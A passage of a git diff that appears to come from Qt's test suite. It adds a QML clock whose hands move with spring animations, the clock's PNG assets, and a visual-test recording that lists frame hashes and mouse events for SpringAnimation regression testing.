+ width: 200; height: 200
+
+ property variant hours: 10
+ property variant minutes: 28
+ property variant seconds: 0
+
+ Timer {
+ interval: 1000; running: true; repeat: true; triggeredOnStart: true
+ onTriggered: seconds++
+ }
+
+ Image { id: background; source: "content/clock.png" }
+
+ Image {
+ x: 92.5; y: 27
+ source: "content/hour.png"
+ transform: Rotation {
+ id: hourRotation
+ origin.x: 7.5; origin.y: 73
+ angle: (clock.hours * 30) + (clock.minutes * 0.5)
+
+ Behavior on angle {
+ SpringAnimation { spring: 2; damping: 0.2; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ x: 93.5; y: 17
+ source: "content/minute.png"
+ transform: Rotation {
+ id: minuteRotation
+ origin.x: 6.5; origin.y: 83
+ angle: clock.minutes * 6
+
+ Behavior on angle {
+ SpringAnimation { spring: 2; damping: 0.2; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ x: 97.5; y: 20
+ source: "content/second.png"
+ transform: Rotation {
+ id: secondRotation
+ origin.x: 2.5; origin.y: 80
+ angle: clock.seconds * 6
+
+ Behavior on angle {
+ SpringAnimation { spring: 5; damping: 0.25; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ anchors.centerIn: background; source: "content/center.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/background.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/background.png
new file mode 100644
index 00000000..a8859508
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/background.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/center.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/center.png
new file mode 100644
index 00000000..7fbd802a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/center.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/clock.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/clock.png
new file mode 100644
index 00000000..462edacc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/clock.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/hour.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/hour.png
new file mode 100644
index 00000000..f8061a12
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/hour.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/minute.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/minute.png
new file mode 100644
index 00000000..1297ec7c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/minute.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/second.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/second.png
new file mode 100644
index 00000000..4aa9fb5e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/second.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.0.png
new file mode 100644
index 00000000..8714f580
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.1.png
new file mode 100644
index 00000000..05e4a985
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.2.png
new file mode 100644
index 00000000..29df073c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.3.png
new file mode 100644
index 00000000..b38486ee
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.4.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.4.png
new file mode 100644
index 00000000..4de915b7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.5.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.5.png
new file mode 100644
index 00000000..61a4684f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.6.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.6.png
new file mode 100644
index 00000000..4ce5e304
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.7.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.7.png
new file mode 100644
index 00000000..2376b139
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.qml
new file mode 100644
index 00000000..893355b6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.qml
@@ -0,0 +1,1763 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "follow.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "e94ba580322887dbbbf9cb6309e39c23"
+ }
+ Frame {
+ msec: 48
+ hash: "787a59cda2c0b27d8959026e6d1b9427"
+ }
+ Frame {
+ msec: 64
+ hash: "9ca724d4b31aa16015b5cbb50eea0c3a"
+ }
+ Frame {
+ msec: 80
+ hash: "8a2c62a0190da1b7c1bade243baea6b8"
+ }
+ Frame {
+ msec: 96
+ hash: "e129bebca7ad348c3134569d8eee4efc"
+ }
+ Frame {
+ msec: 112
+ hash: "fd6387415e1c02fe6d17d9c3aa1d1ed8"
+ }
+ Frame {
+ msec: 128
+ hash: "a82a4042fdca7c30facd2c4740c455f7"
+ }
+ Frame {
+ msec: 144
+ hash: "62195722eb3acbfbad137ec71fd50bfe"
+ }
+ Frame {
+ msec: 160
+ hash: "449819cdc880d59650732b5447ec6237"
+ }
+ Frame {
+ msec: 176
+ hash: "552a838ebcacc0e08fa93b64a2433831"
+ }
+ Frame {
+ msec: 192
+ hash: "3984992606d54f05eb31dd0974af2183"
+ }
+ Frame {
+ msec: 208
+ hash: "3fd7225bbb0215ca8b6397580f2352a5"
+ }
+ Frame {
+ msec: 224
+ hash: "0fd8f26f40a9049de1cf2a9493d579d1"
+ }
+ Frame {
+ msec: 240
+ hash: "d08f0c57f071dc42e79fc5e0e3c32eeb"
+ }
+ Frame {
+ msec: 256
+ hash: "084c2db330ee82cd032df248ecc9629d"
+ }
+ Frame {
+ msec: 272
+ hash: "98da0d7f280d7fc4579c970c9a173b51"
+ }
+ Frame {
+ msec: 288
+ hash: "4c819c54ced1b6ef0574417a7e11f2e7"
+ }
+ Frame {
+ msec: 304
+ hash: "3dc5f7b412cb176c3b23d37cda3ef87c"
+ }
+ Frame {
+ msec: 320
+ hash: "c368a01b43d94205c03f9c750c37f330"
+ }
+ Frame {
+ msec: 336
+ hash: "8842bd0c8b17cac4fc9df84835999174"
+ }
+ Frame {
+ msec: 352
+ hash: "26829e9c7ca44dfcb0c03852f4158a18"
+ }
+ Frame {
+ msec: 368
+ hash: "ecffdb0888f1721e27b163e1f29a1950"
+ }
+ Frame {
+ msec: 384
+ hash: "eaead96f2683c464a12df8aadba20691"
+ }
+ Frame {
+ msec: 400
+ hash: "1e931963925bd208dce1ec9011372a3b"
+ }
+ Frame {
+ msec: 416
+ hash: "1c3fd049001c1e883f21d0d1e0e32cba"
+ }
+ Frame {
+ msec: 432
+ hash: "e8c3422ca637750ac52565594737d092"
+ }
+ Frame {
+ msec: 448
+ hash: "b1c36322cf89e15a80af7c43f2aebca1"
+ }
+ Frame {
+ msec: 464
+ hash: "f676c3171495f7bb2cb1812cfebaa17a"
+ }
+ Frame {
+ msec: 480
+ hash: "255119e2efa99c8e31fee611aaaa5137"
+ }
+ Frame {
+ msec: 496
+ hash: "e0bd32e3d44cfc2351db105f4595f18a"
+ }
+ Frame {
+ msec: 512
+ hash: "b7f23b8f3769f929b42491efda7ebe19"
+ }
+ Frame {
+ msec: 528
+ hash: "718cee11d869a8a8c5191cc0c09f2d30"
+ }
+ Frame {
+ msec: 544
+ hash: "fbdbf92f8c5f507605ff50abc594682b"
+ }
+ Frame {
+ msec: 560
+ hash: "c07fdc69c72b40d3c8dd1cc499008888"
+ }
+ Frame {
+ msec: 576
+ hash: "38e17ecd537dc0f51211ad672a2ebb21"
+ }
+ Frame {
+ msec: 592
+ hash: "2cbdc8728ef779c62f9938672986658a"
+ }
+ Frame {
+ msec: 608
+ hash: "7fb66509d5d1df34861e9c70f9a579f0"
+ }
+ Frame {
+ msec: 624
+ hash: "410b89392e859058718a08b79ec3d8fa"
+ }
+ Frame {
+ msec: 640
+ hash: "9bd90f80700217d08dafed93b81ee9cf"
+ }
+ Frame {
+ msec: 656
+ hash: "6d83671504a4274887b4e0d9bd2b24e7"
+ }
+ Frame {
+ msec: 672
+ hash: "51ff7bd3fd4a776af33fce7b935b145c"
+ }
+ Frame {
+ msec: 688
+ hash: "20f27392368b63b248bcd455cf3c9106"
+ }
+ Frame {
+ msec: 704
+ hash: "1a5ab296bd55aa215c9b04a7ff6c73a1"
+ }
+ Frame {
+ msec: 720
+ hash: "020fd7b14e8662fc006b0c39adca7c6a"
+ }
+ Frame {
+ msec: 736
+ hash: "2619120bdb25a153963bdf05c4a16d44"
+ }
+ Frame {
+ msec: 752
+ hash: "fd321314031efeb9ce71146764289d9f"
+ }
+ Frame {
+ msec: 768
+ hash: "378a71f09445dfff284db919787cbf87"
+ }
+ Frame {
+ msec: 784
+ hash: "d59eefe82ab8a00c903141dd9ea767ef"
+ }
+ Frame {
+ msec: 800
+ hash: "0a65004d69a4567f2a5c7e84dab3a905"
+ }
+ Frame {
+ msec: 816
+ hash: "92a4631716a51ff484ca14d9cfe05b2e"
+ }
+ Frame {
+ msec: 832
+ hash: "87203f627cf410cad56d6ba38a140efa"
+ }
+ Frame {
+ msec: 848
+ hash: "054cc085998cc059a6b7b4a7300dd36b"
+ }
+ Frame {
+ msec: 864
+ hash: "af3fefeb908a0485c723d36f61eff0a4"
+ }
+ Frame {
+ msec: 880
+ hash: "3f905d1e1ea79858b5a9bbfeab4eb255"
+ }
+ Frame {
+ msec: 896
+ hash: "f935f1fc5f26a201098d894fca9a4d1f"
+ }
+ Frame {
+ msec: 912
+ hash: "42b003dbb531da514716b9c32bdd3614"
+ }
+ Frame {
+ msec: 928
+ hash: "a82fed83ee4efee7896b639c7691b13a"
+ }
+ Frame {
+ msec: 944
+ hash: "31ad8cbf875233ea495330b0d3d4d2dd"
+ }
+ Frame {
+ msec: 960
+ hash: "00586f2f1d49fa81f90f7b06614311b4"
+ }
+ Frame {
+ msec: 976
+ image: "follow.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "5d71ff48b865ad4266eb8292f981b04e"
+ }
+ Frame {
+ msec: 1008
+ hash: "df599d934d131c92b209284277009efb"
+ }
+ Frame {
+ msec: 1024
+ hash: "5aaf33d11eb70ffdfe89246c637caed7"
+ }
+ Frame {
+ msec: 1040
+ hash: "9648cf623a66ded145c4fd23a42917b3"
+ }
+ Frame {
+ msec: 1056
+ hash: "9d33c2cc44ceac5a527ddcf809a51df6"
+ }
+ Frame {
+ msec: 1072
+ hash: "6d0ad2e0d012e53a03e246e6d5e49e13"
+ }
+ Frame {
+ msec: 1088
+ hash: "d33fa68796e38b19f44571d11c1bcd33"
+ }
+ Frame {
+ msec: 1104
+ hash: "636680f49bbf30b0fac31a6c581f18dd"
+ }
+ Frame {
+ msec: 1120
+ hash: "66801dbc39301e6b46b244fe502e0340"
+ }
+ Frame {
+ msec: 1136
+ hash: "f8fa6a033483279e78636f26493b10ac"
+ }
+ Frame {
+ msec: 1152
+ hash: "11b46611550173df42986dee4339d907"
+ }
+ Frame {
+ msec: 1168
+ hash: "5c9afdb519006079ee8d28b2b60d0b76"
+ }
+ Frame {
+ msec: 1184
+ hash: "9a55c38b2cd8abf25fbe448c7ef80971"
+ }
+ Frame {
+ msec: 1200
+ hash: "27ebdf1424e892b35c93ec009d942407"
+ }
+ Frame {
+ msec: 1216
+ hash: "2d9e3f0ae56f7337012b51c4dd173108"
+ }
+ Frame {
+ msec: 1232
+ hash: "e6f89ca892131d68ff1f4ca95c95d807"
+ }
+ Frame {
+ msec: 1248
+ hash: "f75791f1b12a217d37acb09bdb114cc5"
+ }
+ Frame {
+ msec: 1264
+ hash: "94c5ab1460fb1b0f957a9718b45bca36"
+ }
+ Frame {
+ msec: 1280
+ hash: "e246c8a0ec3d01ea20258b24a5673fe1"
+ }
+ Frame {
+ msec: 1296
+ hash: "529de7735e73409dff266d8c1275215c"
+ }
+ Frame {
+ msec: 1312
+ hash: "330400763a670580570cb62241ebec62"
+ }
+ Frame {
+ msec: 1328
+ hash: "ae444d1de9c509fc6f74136ca90f927a"
+ }
+ Frame {
+ msec: 1344
+ hash: "c43631ca8ee90ea5dc7664be5bc45429"
+ }
+ Frame {
+ msec: 1360
+ hash: "b366ac4a5b66c331a7667e9df0fc4eda"
+ }
+ Frame {
+ msec: 1376
+ hash: "1c7f4c47a9c57a34787cc9703e99bff1"
+ }
+ Frame {
+ msec: 1392
+ hash: "5555535609d512e8d34549b6624f74b8"
+ }
+ Frame {
+ msec: 1408
+ hash: "be59df714541923494b59f31f57e310e"
+ }
+ Frame {
+ msec: 1424
+ hash: "63e434f053032e54298f6e61c8d4da7d"
+ }
+ Frame {
+ msec: 1440
+ hash: "b0bb838637eceb6f8993ebc5b887afed"
+ }
+ Frame {
+ msec: 1456
+ hash: "fc39f33add4ebcaf578558ecd4aea281"
+ }
+ Frame {
+ msec: 1472
+ hash: "3f36faa7cc1e5898d4d5890c47633ff3"
+ }
+ Frame {
+ msec: 1488
+ hash: "4b328002b4461869b1f7de48e7291902"
+ }
+ Frame {
+ msec: 1504
+ hash: "26252c63924d2abcaebea2c7caf1d7aa"
+ }
+ Frame {
+ msec: 1520
+ hash: "a9a6023484ae439be86b2c2ff59dc40b"
+ }
+ Frame {
+ msec: 1536
+ hash: "620dab11bd4aab84cc0d949c48dd9a5d"
+ }
+ Frame {
+ msec: 1552
+ hash: "3b45ef80ee3e6fbbd3533bfa0d666e2f"
+ }
+ Frame {
+ msec: 1568
+ hash: "b33306abcb6a8402e491b7216495c778"
+ }
+ Frame {
+ msec: 1584
+ hash: "3cc52e8649a02e87785f1dc63f5c1efd"
+ }
+ Frame {
+ msec: 1600
+ hash: "fe21141f48da685213ed9d7641b2e7a0"
+ }
+ Frame {
+ msec: 1616
+ hash: "205aac4e822e20bd32f637256250f3c8"
+ }
+ Frame {
+ msec: 1632
+ hash: "124df0948f36aaf6151556d301f4b930"
+ }
+ Frame {
+ msec: 1648
+ hash: "c1701edd5eaf143fd1dbdc4a5324b48a"
+ }
+ Frame {
+ msec: 1664
+ hash: "117402df55367c918a3835958f4ab1d6"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 195; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1680
+ hash: "73e3b86a1da28490cae4b03fdceefe19"
+ }
+ Frame {
+ msec: 1696
+ hash: "172e329fb47d6db0180242990a84fe3b"
+ }
+ Frame {
+ msec: 1712
+ hash: "82cf704cdfd406bab22689bc888ddc8d"
+ }
+ Frame {
+ msec: 1728
+ hash: "4c288f198a06d1b2815d34c3c8f97051"
+ }
+ Frame {
+ msec: 1744
+ hash: "6404d81456bb95a6b1c1ae55a181e40e"
+ }
+ Frame {
+ msec: 1760
+ hash: "6c11b9f079936ea08d11aa1172bfd954"
+ }
+ Frame {
+ msec: 1776
+ hash: "95388037c1f79a9dab951031f1d7c307"
+ }
+ Frame {
+ msec: 1792
+ hash: "c4ee57d9bffbb5f0ff173db48eadf2e3"
+ }
+ Frame {
+ msec: 1808
+ hash: "703ac9672a9c55cf08e6381ef76ac13c"
+ }
+ Frame {
+ msec: 1824
+ hash: "ea7726d2a2923290398262c8f70d511e"
+ }
+ Frame {
+ msec: 1840
+ hash: "9897c12603326a30c62381015c9adae3"
+ }
+ Frame {
+ msec: 1856
+ hash: "a52aa37b10a05382f1b136896b7e00e8"
+ }
+ Frame {
+ msec: 1872
+ hash: "a5acc1a45c95a67725e5e15084b7be18"
+ }
+ Frame {
+ msec: 1888
+ hash: "c9fac8b5a4110493958d49b073ea96ed"
+ }
+ Frame {
+ msec: 1904
+ hash: "6fca3a5c6d1cfbf1b905aca25b7785c5"
+ }
+ Frame {
+ msec: 1920
+ hash: "a40e5e2744d1d84c8b9a45525801a745"
+ }
+ Frame {
+ msec: 1936
+ image: "follow.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "b2f980ab19d44ee98ab3e82a19adfe2d"
+ }
+ Frame {
+ msec: 1968
+ hash: "e01732623930aebefd76ab62c81dc722"
+ }
+ Frame {
+ msec: 1984
+ hash: "3a59c6851bc89eb31100092b1ceddbd9"
+ }
+ Frame {
+ msec: 2000
+ hash: "2949de19eacb9f35816aa7ba69614f2c"
+ }
+ Frame {
+ msec: 2016
+ hash: "f2c4c1f4429cbb6bd10f2318b2cb6904"
+ }
+ Frame {
+ msec: 2032
+ hash: "2c48af64162e7e028cd536dba03eab71"
+ }
+ Frame {
+ msec: 2048
+ hash: "7fe13b8f9253f720b6591b396cfba2d1"
+ }
+ Frame {
+ msec: 2064
+ hash: "559947a03e650575a764801366cc504b"
+ }
+ Frame {
+ msec: 2080
+ hash: "a8d09f6c862fd5ec2dcf34f06d1ef744"
+ }
+ Frame {
+ msec: 2096
+ hash: "e3bb4b62209631ff84134f2243bfdb42"
+ }
+ Frame {
+ msec: 2112
+ hash: "a1956a9d1939bc154ea0c88d596948cc"
+ }
+ Frame {
+ msec: 2128
+ hash: "c98a375727860da1e827d4dd74af8f63"
+ }
+ Frame {
+ msec: 2144
+ hash: "df4edcbb2ef5348341ff55c808609b6c"
+ }
+ Frame {
+ msec: 2160
+ hash: "6287564be85b7cbadc6bb6f0232bc837"
+ }
+ Frame {
+ msec: 2176
+ hash: "9826fdb48f7ea770fa5f198ec49d7cb7"
+ }
+ Frame {
+ msec: 2192
+ hash: "56f82641a5591df9bb929cc0d32eb95d"
+ }
+ Frame {
+ msec: 2208
+ hash: "526c55e555fb2e58796561efa3568c50"
+ }
+ Frame {
+ msec: 2224
+ hash: "6b4b74613421c1841a17c369cb316754"
+ }
+ Frame {
+ msec: 2240
+ hash: "37f785c30947d5eec113dcf6af649abf"
+ }
+ Frame {
+ msec: 2256
+ hash: "5ff2c975dd9e261c764537c836627c4d"
+ }
+ Frame {
+ msec: 2272
+ hash: "efe554981583749c3d09988bce7fed02"
+ }
+ Frame {
+ msec: 2288
+ hash: "0f7204b4afb0ea5d58e49650e8027c0c"
+ }
+ Frame {
+ msec: 2304
+ hash: "817291f91f4b309710ad3aed53a7d47a"
+ }
+ Frame {
+ msec: 2320
+ hash: "c15c9cd03089090cf8a777c1f0d88de7"
+ }
+ Frame {
+ msec: 2336
+ hash: "05f45cb8d0856dcc81091351615e35d6"
+ }
+ Frame {
+ msec: 2352
+ hash: "99785a16fed6d6409b4b47ec55afb56b"
+ }
+ Frame {
+ msec: 2368
+ hash: "39032cb4432ee9536af500673fccf526"
+ }
+ Frame {
+ msec: 2384
+ hash: "9057653e3cd6042831037d3590e7595b"
+ }
+ Frame {
+ msec: 2400
+ hash: "76c772eb2ab8f117c260c9c96bc99e1d"
+ }
+ Frame {
+ msec: 2416
+ hash: "b6474665b8f8bcdd76d1a38efecad889"
+ }
+ Frame {
+ msec: 2432
+ hash: "106c2d2efafad0181e3ded3a6805f2c6"
+ }
+ Frame {
+ msec: 2448
+ hash: "5275fa4ffef6c1909f9d03bb1e7b9cae"
+ }
+ Frame {
+ msec: 2464
+ hash: "0c1043c0087d60000dc7259d4ac03618"
+ }
+ Frame {
+ msec: 2480
+ hash: "645748569b4f5cb9b206b0808bb7d23d"
+ }
+ Frame {
+ msec: 2496
+ hash: "dd95dfa80e1b3ff511e7c75efd0d87ce"
+ }
+ Frame {
+ msec: 2512
+ hash: "86b3dd03b04d7610837cdc67cad07e0a"
+ }
+ Frame {
+ msec: 2528
+ hash: "8264f67ac92e4ebcfe4cc8e954f8c5d2"
+ }
+ Frame {
+ msec: 2544
+ hash: "6bf52377d822b09eb28a1ec36d3a36a9"
+ }
+ Frame {
+ msec: 2560
+ hash: "7ae1d65cdaf7fa71eb4ec318b37bb0aa"
+ }
+ Frame {
+ msec: 2576
+ hash: "860f5ce9844c90cf9e6a6d383ff0972f"
+ }
+ Frame {
+ msec: 2592
+ hash: "5502229c038dfc59d966f69ae6ed8957"
+ }
+ Frame {
+ msec: 2608
+ hash: "21843c027bc1434ae60b3bb0fced2c54"
+ }
+ Frame {
+ msec: 2624
+ hash: "962df45680949c3eb6c968f98cd76b20"
+ }
+ Frame {
+ msec: 2640
+ hash: "f313c26fa76a0edce61244bdf92528e4"
+ }
+ Frame {
+ msec: 2656
+ hash: "b7bbde239e98cbd66b1e51b54b747f51"
+ }
+ Frame {
+ msec: 2672
+ hash: "62340707fbc832fcb805c8f80ab353d1"
+ }
+ Frame {
+ msec: 2688
+ hash: "d008a3f7af1810ff70b68b38a4cd0f0d"
+ }
+ Frame {
+ msec: 2704
+ hash: "e651dd628af24faf34d716beb392b052"
+ }
+ Frame {
+ msec: 2720
+ hash: "a97733963c7a7616b25741545b07ffba"
+ }
+ Frame {
+ msec: 2736
+ hash: "3e017cc1db720cf16521bd17308e4f44"
+ }
+ Frame {
+ msec: 2752
+ hash: "13652ebaa610cca71486517e2eed21a5"
+ }
+ Frame {
+ msec: 2768
+ hash: "09f0f500c6f7d11be39c31f9e589b38a"
+ }
+ Frame {
+ msec: 2784
+ hash: "b87968cbc60ddc6a5f5699e830410eab"
+ }
+ Frame {
+ msec: 2800
+ hash: "50e65b043d1f07a321a08ee4c25204f6"
+ }
+ Frame {
+ msec: 2816
+ hash: "122d1ffa1510468e8c4067e0f511588f"
+ }
+ Frame {
+ msec: 2832
+ hash: "585f6c25caaafb99a22a23d8a998d202"
+ }
+ Frame {
+ msec: 2848
+ hash: "9b245a00ad576666c10f509d8a80a61e"
+ }
+ Frame {
+ msec: 2864
+ hash: "9b245a00ad576666c10f509d8a80a61e"
+ }
+ Frame {
+ msec: 2880
+ hash: "3c5d3d10bacc093afc6a9c0b5aa4cddc"
+ }
+ Frame {
+ msec: 2896
+ image: "follow.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "31926d69c2309fdf13fbd7f0e9868c3d"
+ }
+ Frame {
+ msec: 2928
+ hash: "eb3acacce5dd31b0e94b59b9e546ccae"
+ }
+ Frame {
+ msec: 2944
+ hash: "9a51cff3276d75803a0a6e480f7ecb70"
+ }
+ Frame {
+ msec: 2960
+ hash: "fbbd8b9d519993a699815d935bcd2b9f"
+ }
+ Frame {
+ msec: 2976
+ hash: "0314190c6de73f9f374a4eaed0709645"
+ }
+ Frame {
+ msec: 2992
+ hash: "8ca1a203bdb5446094eb948aeb0a333e"
+ }
+ Frame {
+ msec: 3008
+ hash: "301e1b86ce38e11ad9d0d7aba0909985"
+ }
+ Frame {
+ msec: 3024
+ hash: "922095867d0a91b73ab7a63df2041279"
+ }
+ Frame {
+ msec: 3040
+ hash: "ba8275f3ba4633bf64a1f81f630c90f1"
+ }
+ Frame {
+ msec: 3056
+ hash: "efe39545279a7bd015d2de75d2b9d8b1"
+ }
+ Frame {
+ msec: 3072
+ hash: "78926c3c0c6fcf89b9291f9902710964"
+ }
+ Frame {
+ msec: 3088
+ hash: "ea63dcb7f00d3ddede0d8be59ad9d6bc"
+ }
+ Frame {
+ msec: 3104
+ hash: "286ad493301b713a49e378f123482a53"
+ }
+ Frame {
+ msec: 3120
+ hash: "a4bbbb8bb88188d3e99996502e3eebd1"
+ }
+ Frame {
+ msec: 3136
+ hash: "a6100e79f3dc5af594e86ab6cd8dfb76"
+ }
+ Frame {
+ msec: 3152
+ hash: "d9e3f777dc89bcf1b7f712206db768e2"
+ }
+ Frame {
+ msec: 3168
+ hash: "768045c600c0aa0b1e9e6f012733c600"
+ }
+ Frame {
+ msec: 3184
+ hash: "d8b4caa641ddee786f7898359efe9d07"
+ }
+ Frame {
+ msec: 3200
+ hash: "f7c3b76d5bb7c263ac9447eaad685158"
+ }
+ Frame {
+ msec: 3216
+ hash: "f7f97db815d653ec29fa31b87f72af2a"
+ }
+ Frame {
+ msec: 3232
+ hash: "18524623762487b60943312cd8bd4388"
+ }
+ Frame {
+ msec: 3248
+ hash: "5823dee5dd56e9f7515601f9629ccbae"
+ }
+ Frame {
+ msec: 3264
+ hash: "5823dee5dd56e9f7515601f9629ccbae"
+ }
+ Frame {
+ msec: 3280
+ hash: "5823dee5dd56e9f7515601f9629ccbae"
+ }
+ Frame {
+ msec: 3296
+ hash: "5823dee5dd56e9f7515601f9629ccbae"
+ }
+ Frame {
+ msec: 3312
+ hash: "18524623762487b60943312cd8bd4388"
+ }
+ Frame {
+ msec: 3328
+ hash: "430995770b655054aaeda383df8e27f7"
+ }
+ Frame {
+ msec: 3344
+ hash: "16a3a00f2b89aed676f80d63c4933ec3"
+ }
+ Frame {
+ msec: 3360
+ hash: "6c55aa62079ec546522edbf69c37b270"
+ }
+ Frame {
+ msec: 3376
+ hash: "0d68ca3ccecdd831013950cc7405e46e"
+ }
+ Frame {
+ msec: 3392
+ hash: "9da2511bc8b434218695fa74ed543439"
+ }
+ Frame {
+ msec: 3408
+ hash: "05afdd0b99dab81a500cdc2b2f0786fe"
+ }
+ Frame {
+ msec: 3424
+ hash: "e6f8882d146ae60bcc6ea47ff41a637b"
+ }
+ Frame {
+ msec: 3440
+ hash: "154542ed0e88321294f382501819aefc"
+ }
+ Frame {
+ msec: 3456
+ hash: "8f47b6980c387c5020145bf04645fd2d"
+ }
+ Frame {
+ msec: 3472
+ hash: "b34b055c7602f1f4e1cde875b258120c"
+ }
+ Frame {
+ msec: 3488
+ hash: "5a697f675575f05e297d4877604b9a47"
+ }
+ Frame {
+ msec: 3504
+ hash: "729dff1d1b357d19fc81804ec8940d0e"
+ }
+ Frame {
+ msec: 3520
+ hash: "c6f3fee46baa94a6139d2ee40254b160"
+ }
+ Frame {
+ msec: 3536
+ hash: "af0e700bb8ae34834510830f8b44afdb"
+ }
+ Frame {
+ msec: 3552
+ hash: "9c87bb54c2dfe58c2da9194dae6f7502"
+ }
+ Frame {
+ msec: 3568
+ hash: "2132356a92c75d725f9feafb8201b142"
+ }
+ Frame {
+ msec: 3584
+ hash: "50d855d2595eeae2bfd6aaa8c2fa0454"
+ }
+ Frame {
+ msec: 3600
+ hash: "5fde3c62d6e53a9056e3586f9dcda59e"
+ }
+ Frame {
+ msec: 3616
+ hash: "8f04460254a1e9fb949d5165894cd92a"
+ }
+ Frame {
+ msec: 3632
+ hash: "2b514c5e3b20d30f9c7e71092c69f081"
+ }
+ Frame {
+ msec: 3648
+ hash: "2c1ba6224037790e15f5c0f2864ace4d"
+ }
+ Frame {
+ msec: 3664
+ hash: "0d5b8e7bd5f560888aacaf2b3c6827a8"
+ }
+ Frame {
+ msec: 3680
+ hash: "ae25004530e7df134414018e4a34780e"
+ }
+ Frame {
+ msec: 3696
+ hash: "1a8fd9eaf9a91f1b42924f8986fbed9a"
+ }
+ Frame {
+ msec: 3712
+ hash: "2ea6de2025d40ed5beeff12a5b70ccc9"
+ }
+ Frame {
+ msec: 3728
+ hash: "624e417718d3cac1e4b7e4ce258ce6ea"
+ }
+ Frame {
+ msec: 3744
+ hash: "8b56d29391257c7be8966af6be26ea9f"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 195; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "5c0d977d8b446d9191bde57335cf1062"
+ }
+ Frame {
+ msec: 3776
+ hash: "100be2b21d069e3a5dbb694a90da4d4f"
+ }
+ Frame {
+ msec: 3792
+ hash: "caab03f6c81080dd8fdbedb4e94ae4a5"
+ }
+ Frame {
+ msec: 3808
+ hash: "3328a4d06f2f80a7e9ccf2ff21522fca"
+ }
+ Frame {
+ msec: 3824
+ hash: "a534e6cc28daf3eff6a9cf8379bd6375"
+ }
+ Frame {
+ msec: 3840
+ hash: "6686f9c1a814c6a6b785b70f94937b68"
+ }
+ Frame {
+ msec: 3856
+ image: "follow.4.png"
+ }
+ Frame {
+ msec: 3872
